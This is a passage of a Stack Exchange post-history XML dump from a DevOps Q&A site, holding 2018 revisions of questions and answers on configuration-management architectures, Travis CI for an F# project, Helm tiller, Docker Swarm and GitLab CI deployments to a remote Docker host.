  <row Id="16223" PostHistoryTypeId="2" PostId="5137" RevisionGUID="44f2ec04-419e-4728-ac63-0a4a77eec841" CreationDate="2018-10-07T15:52:27.713" UserId="47" Text="IMHO the only advantage of a master/agent pull architecture is that it can be used in a firewalled network when( the actual configuration is located outside that network) without opening up holes in the firewall, while the push architecture cannot.&#xD;&#xA;&#xD;&#xA;In terms of flexibility, I think the most important issue is the minimal setup required on a node to become remotely manageable. Once this requirement is met both architectures can handle updates. A master/agent architecture needs the agent installed, configured and running. On one hand Puppet and Chef aren't (yet) by default installed on most systems, while sshd (needed by Ansible) is. On the other hand even Ansible needs sshd running and credentials configured on the node to be accessible, so I'd say there's not much of a difference from this perspective - especially if the minimal setup is achieved via customized system images.&#xD;&#xA;&#xD;&#xA;In terms of scalability, I'd consider the master/agent architecture less scalable (but just a bit): &#xD;&#xA;&#xD;&#xA;- if the master attempts to actively keep a live system state (i.e. the map of all the agents and their states) that would chew up some time/resources. Without a master, Ansible isn't susceptible to such scalability issue. Granted, even master/agent architectures can offer a scalable approach to providing an overall system state similar to Ansible's (and probably they all do nowadays).&#xD;&#xA;&#xD;&#xA;- in the old days, when the master would actually drive the agent configuration tasks (as mentioned in the post you referenced in your answer), the scalability of such architecture could suffer a lot. But this is not a big deal anymore since for all the tools mentioned in your question the configuration is just transferred to the local node which then performs the tasks. &#xD;&#xA;&#xD;&#xA;- when it comes to transferring the configs to the local nodes, a pull architecture is limited only by the capacity of serving those configurations (common to both architectures), but a master/agent one needs to also run the logic driving transfers and actually making the transfers, if applicable (it's possible to just instruct the agents to pull their own configs), which limits how fast the master can propagate configs to a large number of agents.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16224" PostHistoryTypeId="50" PostId="4720" RevisionGUID="d30092cc-9d76-402a-9cb3-10af168bdf0e" CreationDate="2018-10-07T17:00:30.530" UserId="-1" />
  <row Id="16225" PostHistoryTypeId="5" PostId="5137" RevisionGUID="bac18d10-4563-4b04-9f3a-ae0e52bceb9b" CreationDate="2018-10-07T19:25:46.693" UserId="47" Comment="edited body" Text="IMHO the only advantage of a master/agent pull architecture is that it can be used in a firewalled network (when the actual configuration is located outside that network) without opening up holes in the firewall, while the push architecture cannot.&#xD;&#xA;&#xD;&#xA;In terms of flexibility, I think the most important issue is the minimal setup required on a node to become remotely manageable. Once this requirement is met both architectures can handle updates. A master/agent architecture needs the agent installed, configured and running. On one hand Puppet and Chef aren't (yet) by default installed on most systems, while sshd (needed by Ansible) is. On the other hand even Ansible needs sshd running and credentials configured on the node to be accessible, so I'd say there's not much of a difference from this perspective - especially if the minimal setup is achieved via customized system images.&#xD;&#xA;&#xD;&#xA;In terms of scalability, I'd consider the master/agent architecture less scalable (but just a bit): &#xD;&#xA;&#xD;&#xA;- if the master attempts to actively keep a live system state (i.e. the map of all the agents and their states) that would chew up some time/resources. Without a master, Ansible isn't susceptible to such scalability issue. Granted, even master/agent architectures can offer a scalable approach to providing an overall system state similar to Ansible's (and probably they all do nowadays).&#xD;&#xA;&#xD;&#xA;- in the old days, when the master would actually drive the agent configuration tasks (as mentioned in the post you referenced in your answer), the scalability of such architecture could suffer a lot. But this is not a big deal anymore since for all the tools mentioned in your question the configuration is just transferred to the local node which then performs the tasks. &#xD;&#xA;&#xD;&#xA;- when it comes to transferring the configs to the local nodes, a pull architecture is limited only by the capacity of serving those configurations (common to both architectures), but a master/agent one needs to also run the logic driving transfers and actually making the transfers, if applicable (it's possible to just instruct the agents to pull their own configs), which limits how fast the master can propagate configs to a large number of agents.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16226" PostHistoryTypeId="50" PostId="4930" RevisionGUID="19f71fc3-87ad-4897-a0b8-1c6006350fd7" CreationDate="2018-10-07T22:00:29.890" UserId="-1" />
  <row Id="16227" PostHistoryTypeId="2" PostId="5138" RevisionGUID="e5bd708d-7301-4240-82d9-1576fc3945b3" CreationDate="2018-10-07T23:44:26.713" UserId="10221" Text="I'm new to both travis and this website, so please bear with me ;). &#xD;&#xA;&#xD;&#xA;I've been trying to set it up to work with my GH project. The repo is visible on travis side, but I get the following error while building:&#xD;&#xA;&#xD;&#xA;`./fake.sh: line 25: dotnet: command not found`&#xD;&#xA;&#xD;&#xA;Not sure why - most likely I've done something wrong with my .travis file. Here it is:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;os&quot;: &quot;linux&quot;,&#xD;&#xA;      &quot;dist&quot;: &quot;trusty&quot;,&#xD;&#xA;      &quot;mono&quot;: &quot;5.10.1&quot;,&#xD;&#xA;      &quot;sudo&quot;: &quot;required&quot;,&#xD;&#xA;      &quot;group&quot;: &quot;stable&quot;,&#xD;&#xA;      &quot;dotnet&quot;: &quot;2.1.403&quot;,&#xD;&#xA;      &quot;script&quot;: [&#xD;&#xA;      -  &quot;./fake.sh build -t Nuget&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;install&quot;: [&#xD;&#xA;      -  &quot;export FrameworkPathOverride=$(dirname $(which mono))/../lib/mono/4.5/&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;language&quot;: &quot;fsharp&quot;,&#xD;&#xA;      &quot;before_install&quot;: [&#xD;&#xA;      - &quot;chmod +x fake.sh&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The file &quot;fake.sh&quot; is my build script. It uses the F# FAKE library, but the target I invoke contains nothing, but invocation of &quot;dotnet pack&quot;. It works on my local machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="16228" PostHistoryTypeId="1" PostId="5138" RevisionGUID="e5bd708d-7301-4240-82d9-1576fc3945b3" CreationDate="2018-10-07T23:44:26.713" UserId="10221" Text="dotnet not found on travis" ContentLicense="CC BY-SA 4.0" />
  <row Id="16229" PostHistoryTypeId="3" PostId="5138" RevisionGUID="e5bd708d-7301-4240-82d9-1576fc3945b3" CreationDate="2018-10-07T23:44:26.713" UserId="10221" Text="&lt;travis-ci&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16230" PostHistoryTypeId="5" PostId="2206" RevisionGUID="510e0636-7db8-453a-a65a-dd19cff4e226" CreationDate="2018-10-08T05:48:11.513" UserId="3531" Comment="Add the no-tiller note." Text="I'm using [helm][1] to deploy my services to a Kubernetes cluster.  &#xD;&#xA;I want to improve the service availability of my tiller pod. So I scaled the tiller deployment to 2 replicas.  &#xD;&#xA;Helm is working as before with no issues that might be related to this.&#xD;&#xA;&#xD;&#xA;Does anyone have an idea why this might NOT be a good idea to increase reliability of helm and tiller?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA; &#xD;&#xA; - Helm v3 is expected to drop the usage of tiller. Making this issue not relevant&#xD;&#xA; - If you want a tillerless experience in helm v2, you can use a [helm-tiller plugin][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/&#xD;&#xA;  [2]: https://github.com/rimusz/helm-tiller" ContentLicense="CC BY-SA 4.0" />
  <row Id="16234" PostHistoryTypeId="5" PostId="5138" RevisionGUID="561d95de-369e-490c-bf25-fd790e776420" CreationDate="2018-10-08T07:06:30.207" UserId="10221" Comment="Providing more content as requested in comments." Text="I'm new to both travis and this website, so please bear with me ;). &#xD;&#xA;&#xD;&#xA;I've been trying to set it up to work with my GH project. The repo is visible on travis side, but I get the following error while building:&#xD;&#xA;&#xD;&#xA;`./fake.sh: line 25: dotnet: command not found`&#xD;&#xA;&#xD;&#xA;Not sure why - most likely I've done something wrong with my .travis file. Here it is:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;os&quot;: &quot;linux&quot;,&#xD;&#xA;      &quot;dist&quot;: &quot;trusty&quot;,&#xD;&#xA;      &quot;mono&quot;: &quot;5.10.1&quot;,&#xD;&#xA;      &quot;sudo&quot;: &quot;required&quot;,&#xD;&#xA;      &quot;group&quot;: &quot;stable&quot;,&#xD;&#xA;      &quot;dotnet&quot;: &quot;2.1.403&quot;,&#xD;&#xA;      &quot;script&quot;: [&#xD;&#xA;      -  &quot;./fake.sh build -t Nuget&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;install&quot;: [&#xD;&#xA;      -  &quot;export FrameworkPathOverride=$(dirname $(which mono))/../lib/mono/4.5/&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;language&quot;: &quot;fsharp&quot;,&#xD;&#xA;      &quot;before_install&quot;: [&#xD;&#xA;      - &quot;chmod +x fake.sh&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The file &quot;fake.sh&quot; is my build script. It uses the F# FAKE library, but the target I invoke contains nothing, but invocation of &quot;dotnet pack&quot;. It works on my local machine.&#xD;&#xA;&#xD;&#xA;EDIT: &#xD;&#xA;The fake.sh is the standard, unchanged F# FAKE file that is included in &quot;dotnet new fake&quot; template. Here's its content:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    &#xD;&#xA;    set -eu&#xD;&#xA;    set -o pipefail&#xD;&#xA;    &#xD;&#xA;    # liberated from https://stackoverflow.com/a/18443300/433393&#xD;&#xA;    realpath() {&#xD;&#xA;      OURPWD=$PWD&#xD;&#xA;      cd &quot;$(dirname &quot;$1&quot;)&quot;&#xD;&#xA;      LINK=$(readlink &quot;$(basename &quot;$1&quot;)&quot;)&#xD;&#xA;      while [ &quot;$LINK&quot; ]; do&#xD;&#xA;        cd &quot;$(dirname &quot;$LINK&quot;)&quot;&#xD;&#xA;        LINK=$(readlink &quot;$(basename &quot;$1&quot;)&quot;)&#xD;&#xA;      done&#xD;&#xA;      REALPATH=&quot;$PWD/$(basename &quot;$1&quot;)&quot;&#xD;&#xA;      cd &quot;$OURPWD&quot;&#xD;&#xA;      echo &quot;$REALPATH&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    TOOL_PATH=$(realpath .fake)&#xD;&#xA;    FAKE=&quot;$TOOL_PATH&quot;/fake&#xD;&#xA;    &#xD;&#xA;    if ! [ -e &quot;$FAKE&quot; ]&#xD;&#xA;    then&#xD;&#xA;      dotnet tool install fake-cli --tool-path &quot;$TOOL_PATH&quot;&#xD;&#xA;    fi&#xD;&#xA;    &quot;$FAKE&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;All it does is it makes sure all the build requirements are there in place. Then it runs the &quot;build.fsx&quot; script:&#xD;&#xA;&#xD;&#xA;    open Fake.Core&#xD;&#xA;    open Fake.DotNet&#xD;&#xA;    open Fake.IO&#xD;&#xA;    open Fake.IO.FileSystemOperators&#xD;&#xA;    open Fake.IO.Globbing.Operators&#xD;&#xA;    open Fake.Core.TargetOperators&#xD;&#xA;    &#xD;&#xA;    let nugetDir = &quot;../nuget&quot;&#xD;&#xA;    &#xD;&#xA;    Target.create &quot;Clean&quot; (fun _ -&gt;&#xD;&#xA;        !! &quot;src/**/bin&quot;&#xD;&#xA;        ++ &quot;src/**/obj&quot;&#xD;&#xA;        ++ nugetDir&#xD;&#xA;        |&gt; Shell.cleanDirs &#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    Target.create &quot;Build&quot; (fun _ -&gt;&#xD;&#xA;        !! &quot;src/**/*.*proj&quot;&#xD;&#xA;        |&gt; Seq.iter (DotNet.build id)&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    Target.create &quot;Nuget&quot; (fun _ -&gt;&#xD;&#xA;        !! &quot;src/**/*.*proj&quot;&#xD;&#xA;        |&gt; Seq.iter (DotNet.pack (fun o -&gt; { o with OutputPath = Some nugetDir }))&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    &quot;Clean&quot;&#xD;&#xA;      ==&gt; &quot;Build&quot;&#xD;&#xA;    &#xD;&#xA;    &quot;Clean&quot;&#xD;&#xA;      ==&gt; &quot;Nuget&quot;&#xD;&#xA;    &#xD;&#xA;    Target.runOrDefault &quot;Build&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16235" PostHistoryTypeId="50" PostId="4723" RevisionGUID="5710a440-d3f1-4969-8b56-82146f6015e0" CreationDate="2018-10-08T09:00:20.110" UserId="-1" />
  <row Id="16240" PostHistoryTypeId="50" PostId="4253" RevisionGUID="e1e8ce19-5299-4395-8f98-118c7dc3bcf0" CreationDate="2018-10-08T15:00:07.207" UserId="-1" />
  <row Id="16241" PostHistoryTypeId="2" PostId="5141" RevisionGUID="05ba49d9-b58e-4fd4-9881-bccde5d33e27" CreationDate="2018-10-08T19:16:45.893" UserId="10229" Text="From the docs, I could only find information about placement restrictions based on **node** attributes, likes labels and its role. However, I couldn't find how to configure placement based on the **services already running** on a given node.&#xD;&#xA;&#xD;&#xA;How can I do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16242" PostHistoryTypeId="1" PostId="5141" RevisionGUID="05ba49d9-b58e-4fd4-9881-bccde5d33e27" CreationDate="2018-10-08T19:16:45.893" UserId="10229" Text="How do I prevent service A from being placed in the same node as service B in Docker Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16243" PostHistoryTypeId="3" PostId="5141" RevisionGUID="05ba49d9-b58e-4fd4-9881-bccde5d33e27" CreationDate="2018-10-08T19:16:45.893" UserId="10229" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16244" PostHistoryTypeId="2" PostId="5142" RevisionGUID="c556c19a-55b3-4068-93dd-876437a2ba4b" CreationDate="2018-10-08T21:41:48.270" UserId="7730" Text="At present the answer is &quot;no&quot;, swarm mode does not support affinity or anti-affinity between a service and other containers/services running on a node. However, depending on your goal there are other options.&#xD;&#xA;&#xD;&#xA;One option is to reserve resources like CPU and memory for your container. This will ensure two resource intensive applications do not schedule themselves on the same node if there are insufficient resources.&#xD;&#xA;&#xD;&#xA;The other option, as you've mentioned, is to use labels and constraints. You can give the same label to multiple nodes, which is often done to specify a type of node, or assign nodes to a specific team/project/environment.&#xD;&#xA;&#xD;&#xA;Both of these options will reduce your fault tolerance, particularly if you assign a label to one or a small handful of nodes. If those nodes with the label go down, docker will be unable to reschedule your service on another node." ContentLicense="CC BY-SA 4.0" />
  <row Id="16245" PostHistoryTypeId="2" PostId="5143" RevisionGUID="2f8e993d-9ee6-4b9b-a537-e64b728bfc34" CreationDate="2018-10-08T23:12:29.343" UserId="10221" Text="OK - found the solution myself. It's a kind of tricky one. Even though my project is written in F#, I still have to set&#xD;&#xA;&#xD;&#xA;`&quot;language&quot;: &quot;csharp&quot;`&#xD;&#xA;&#xD;&#xA;in my .travis.yml file. That's a bit counter-intuitive, but I must admit that it's written in the doc, so can't really blame anyone." ContentLicense="CC BY-SA 4.0" />
  <row Id="16246" PostHistoryTypeId="4" PostId="5138" RevisionGUID="5494aee3-acdd-4c70-a229-9a690144f1aa" CreationDate="2018-10-08T23:12:59.120" UserId="10221" Comment="edited title" Text="dotnet not found on travis for an F# project" ContentLicense="CC BY-SA 4.0" />
  <row Id="16247" PostHistoryTypeId="2" PostId="5144" RevisionGUID="d426fe58-5fe0-43fe-8f95-248ff328c880" CreationDate="2018-10-09T00:01:12.733" UserId="10229" Text="My cluster is currently located in a single data center. I've been trying to change that by adding a single worker node from another data center, but so far it hasn't worked.&#xD;&#xA;&#xD;&#xA;I'm able to make this node join the swarm and get listed by the managers, but it is always shown as &quot;Down&quot;. Here is what &quot;docker inspect&quot; shows me about this node:&#xD;&#xA;&#xD;&#xA;        &quot;Status&quot;: {&#xD;&#xA;            &quot;State&quot;: &quot;down&quot;,&#xD;&#xA;            &quot;Message&quot;: &quot;heartbeat failure&quot;,&#xD;&#xA;            &quot;Addr&quot;: &quot;xxx.xxx.xxx.xxx&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;I've opened the following ports in both sides:&#xD;&#xA;&#xD;&#xA;    2377 tcp&#xD;&#xA;    7946 tcp+udp&#xD;&#xA;    4789 udp&#xD;&#xA;&#xD;&#xA;How do I troubleshoot and fix this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16248" PostHistoryTypeId="1" PostId="5144" RevisionGUID="d426fe58-5fe0-43fe-8f95-248ff328c880" CreationDate="2018-10-09T00:01:12.733" UserId="10229" Text="How do I fix a &quot;heartbeat failure&quot; in Docker Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16249" PostHistoryTypeId="3" PostId="5144" RevisionGUID="d426fe58-5fe0-43fe-8f95-248ff328c880" CreationDate="2018-10-09T00:01:12.733" UserId="10229" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16250" PostHistoryTypeId="50" PostId="4725" RevisionGUID="29da09db-e5b3-44fe-95c8-1b966b8d85b5" CreationDate="2018-10-09T02:00:15.710" UserId="-1" />
  <row Id="16251" PostHistoryTypeId="5" PostId="5135" RevisionGUID="b1bd569b-1ae6-4fbe-9fb2-adb4bb1db937" CreationDate="2018-10-09T02:00:54.277" UserId="1180" Comment="added 247 characters in body" Text="This is a special tag that is designed to be used only by the system for questions that have had all of their other tags removed. Do not add this tag to existing questions, it is reserved for use by the system to identify posts with no valid tags." ContentLicense="CC BY-SA 4.0" />
  <row Id="16252" PostHistoryTypeId="24" PostId="5135" RevisionGUID="b1bd569b-1ae6-4fbe-9fb2-adb4bb1db937" CreationDate="2018-10-09T02:00:54.277" Comment="Proposed by 1180 approved by 46 edit id of 804" ContentLicense="CC BY-SA 4.0" />
  <row Id="16254" PostHistoryTypeId="2" PostId="5145" RevisionGUID="5b70df0f-a41b-4b8d-b250-5eb125d0a494" CreationDate="2018-10-09T09:08:56.510" UserId="10243" Text="There's a resolveScm plugin: &#xD;&#xA;&#xD;&#xA;    checkout resolveScm(source: [$class: 'GitSCMSource',&#xD;&#xA;                                 credentialsId: '&lt;credentialsId&gt;',&#xD;&#xA;                                 id: '_',&#xD;&#xA;                                 remote: 'https://your.git.remote/repository.git',&#xD;&#xA;                                 traits: [[$class: 'jenkins.plugins.git.traits.BranchDiscoveryTrait']]],&#xD;&#xA;                        targets: [BRANCH_NAME, 'master'])&#xD;&#xA;&#xD;&#xA;Above procedure will look whether $BRANCH_NAME exists, check it out if yes and check out 'master' otherwise." ContentLicense="CC BY-SA 4.0" />
  <row Id="16255" PostHistoryTypeId="2" PostId="5146" RevisionGUID="8ea0a0e9-e9a8-4579-affa-707df8639eed" CreationDate="2018-10-09T09:11:50.723" UserId="10241" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;secrutity@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; ~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. What options do I have?&#xD;&#xA;2. Is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. Could I solve the problem by using my own runner?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind" ContentLicense="CC BY-SA 4.0" />
  <row Id="16256" PostHistoryTypeId="1" PostId="5146" RevisionGUID="8ea0a0e9-e9a8-4579-affa-707df8639eed" CreationDate="2018-10-09T09:11:50.723" UserId="10241" Text="SSL error when deploying from gitlab runner (GitLab-CI) to docker host" ContentLicense="CC BY-SA 4.0" />
  <row Id="16257" PostHistoryTypeId="3" PostId="5146" RevisionGUID="8ea0a0e9-e9a8-4579-affa-707df8639eed" CreationDate="2018-10-09T09:11:50.723" UserId="10241" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16258" PostHistoryTypeId="4" PostId="5146" RevisionGUID="5fa95e01-468e-4cfb-a730-568f6d45f28d" CreationDate="2018-10-09T09:17:22.303" UserId="10241" Comment="edited title" Text="SSL error when deploying from gitlab runner (GitLab-CI) to remote docker host" ContentLicense="CC BY-SA 4.0" />
  <row Id="16259" PostHistoryTypeId="5" PostId="5146" RevisionGUID="5fa95e01-468e-4cfb-a730-568f6d45f28d" CreationDate="2018-10-09T09:17:22.303" UserId="10241" Comment="edited title" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;secrutity@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; 